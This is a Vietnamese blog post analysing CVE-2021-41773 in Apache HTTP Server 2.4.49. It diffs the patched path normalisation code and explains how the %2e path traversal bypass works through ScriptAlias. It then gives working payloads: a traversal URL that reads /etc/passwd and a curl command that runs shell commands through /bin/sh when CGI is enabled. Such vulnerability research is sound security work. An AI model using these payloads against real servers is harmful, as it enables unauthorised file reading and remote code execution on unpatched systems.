CVE-2021-41773-Analysis

Vừa qua thì trên mạng xã hội đang hot về CVE-2021-41773 của Apache HTTP Server, mấy anh em khác đều đã research và upload PoC rồi. Anh trong team có bảo xem qua thử, và mình đọc patch cũng thấy dễ nhìn và mình có thể làm được, nên mình viết lại bài blog này cho vui

Đầu tiên về diff patch. Các bạn có thể lên Apache để đọc thêm về thông tin bug

Có thể thấy được là bug đã fix ở phiên bản 2.4.50 (fixed by r1893775 in 2.4.50). Mình sẽ check xem revision 1893775 đã thay đổi những gì trong source code

Nhận thấy là bug xuất hiện httpd/httpd/branches/2.4.x/server/util.c nên mình đã diff thử util.c của httpd 2.4.49httpd 2.4.50

--- C:\Users\khoa\Downloads\diff\50.c	Fri Oct  1 18:21:11 2021
+++ C:\Users\khoa\Downloads\diff\49.c	Sun Aug 22 04:35:04 2021
@@ -502,8 +502,7 @@
 AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
 {
     int ret = 1;
-    apr_size_t l = 1, w = 1, n;
-    int decode_unreserved = (flags & AP_NORMALIZE_DECODE_UNRESERVED) != 0;
+    apr_size_t l = 1, w = 1;
 
     if (!IS_SLASH(path[0])) {
         /* Besides "OPTIONS *", a request-target should start with '/'
@@ -530,7 +529,7 @@
          *  be decoded to their corresponding unreserved characters by
          *  URI normalizers.
          */
-        if (decode_unreserved
+        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
                 && path[l] == '%' && apr_isxdigit(path[l + 1])
                                   && apr_isxdigit(path[l + 2])) {
             const char c = x2c(&path[l + 1]);
@@ -568,17 +567,8 @@
                     continue;
                 }
 
-                /* Remove /xx/../ segments (or /xx/.%2e/ when
-                 * AP_NORMALIZE_DECODE_UNRESERVED is set since we
-                 * decoded only the first dot above).
-                 */
-                n = l + 1;
-                if ((path[n] == '.' || (decode_unreserved
-                                        && path[n] == '%'
-                                        && path[++n] == '2'
-                                        && (path[++n] == 'e'
-                                            || path[n] == 'E')))
-                        && IS_SLASH_OR_NUL(path[n + 1])) {
+                /* Remove /xx/../ segments */
+                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                     /* Wind w back to remove the previous segment */
                     if (w > 1) {
                         do {
@@ -595,7 +585,7 @@
                     }
 
                     /* Move l forward to the next segment */
-                    l = n + 1;
+                    l += 2;
                     if (path[l]) {
                         l++;
                     }

Có thể nhận thấy trong phiên bản httpd 2.4.50 team dev của Apache đã decode thêm %2e trong khi normalize path chứ không chỉ check mỗi dấu . như phiên bản httpd 2.4.49

-                /* Remove /xx/../ segments (or /xx/.%2e/ when
-                 * AP_NORMALIZE_DECODE_UNRESERVED is set since we
-                 * decoded only the first dot above).
-                 */
-                n = l + 1;
-                if ((path[n] == '.' || (decode_unreserved
-                                        && path[n] == '%'
-                                        && path[++n] == '2'
-                                        && (path[++n] == 'e'
-                                            || path[n] == 'E')))
-                        && IS_SLASH_OR_NUL(path[n + 1])) {
+                /* Remove /xx/../ segments */
+                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {

Từ đây có thể nhận ra là bug sẽ có dạng /xx/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/…/abcxyz. Tiếp theo là tìm cách để trigger Path Traversal ở chỗ này

Mặc định của Apache là không thể nào tác động ra các directory ở ngoài Web Root. Nhưng với module/mod_alias.so thì chúng ta có thể tác động tới các directory bên ngoài nhờ vào ScriptAlias hoặc Alias. Cụ thể là:

<IfModule alias_module>
    #
    # Redirect: Allows you to tell clients about documents that used to 
    # exist in your server's namespace, but do not anymore. The client 
    # will make a new request for the document at its new location.
    # Example:
    # Redirect permanent /foo http://www.example.com/bar

    #
    # Alias: Maps web paths into filesystem paths and is used to
    # access content that does not live under the DocumentRoot.
    # Example:
    # Alias /webpath /full/filesystem/path
    #
    # If you include a trailing / on /webpath then the server will
    # require it to be present in the URL.  You will also likely
    # need to provide a <Directory> section to allow access to
    # the filesystem path.

    #
    # ScriptAlias: This controls which directories contain server scripts. 
    # ScriptAliases are essentially the same as Aliases, except that
    # documents in the target directory are treated as applications and
    # run by the server when requested rather than as documents sent to the
    # client.  The same rules about trailing "/" apply to ScriptAlias
    # directives as to Alias.
    #
    ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

</IfModule>

Mặc định là /cgi-bin/ sẽ map với /usr/local/apache2/cgi-bin nên hoàn toàn có thể craft được payload Path Traversal từ đây

http://host/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Bởi vì mặc định của httpd.conf là CGI module sẽ không được bật, nên thay vì thực thi các path được gọi bởi /cgi-bin/, Apache Server sẽ trả về nội dung các file

Vậy RCE sẽ xảy ra nếu module CGI được bật lên, cụ thể là

<IfModule !mpm_prefork_module>
	LoadModule cgid_module modules/mod_cgid.so
</IfModule>

Kèm theo đó, Apache HTTP Server có 1 tính năng sẽ ghi nhận các giá trị của các parameter và đẩy tất cả vào STDIN dẫn tới việc ta có thể vừa thực thi 1 binary trên server, vừa có thể truyền parameter cho binary đó. Cụ thể là:

curl 'http://host/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' -d 'echo;ls'
Written on October 7, 2021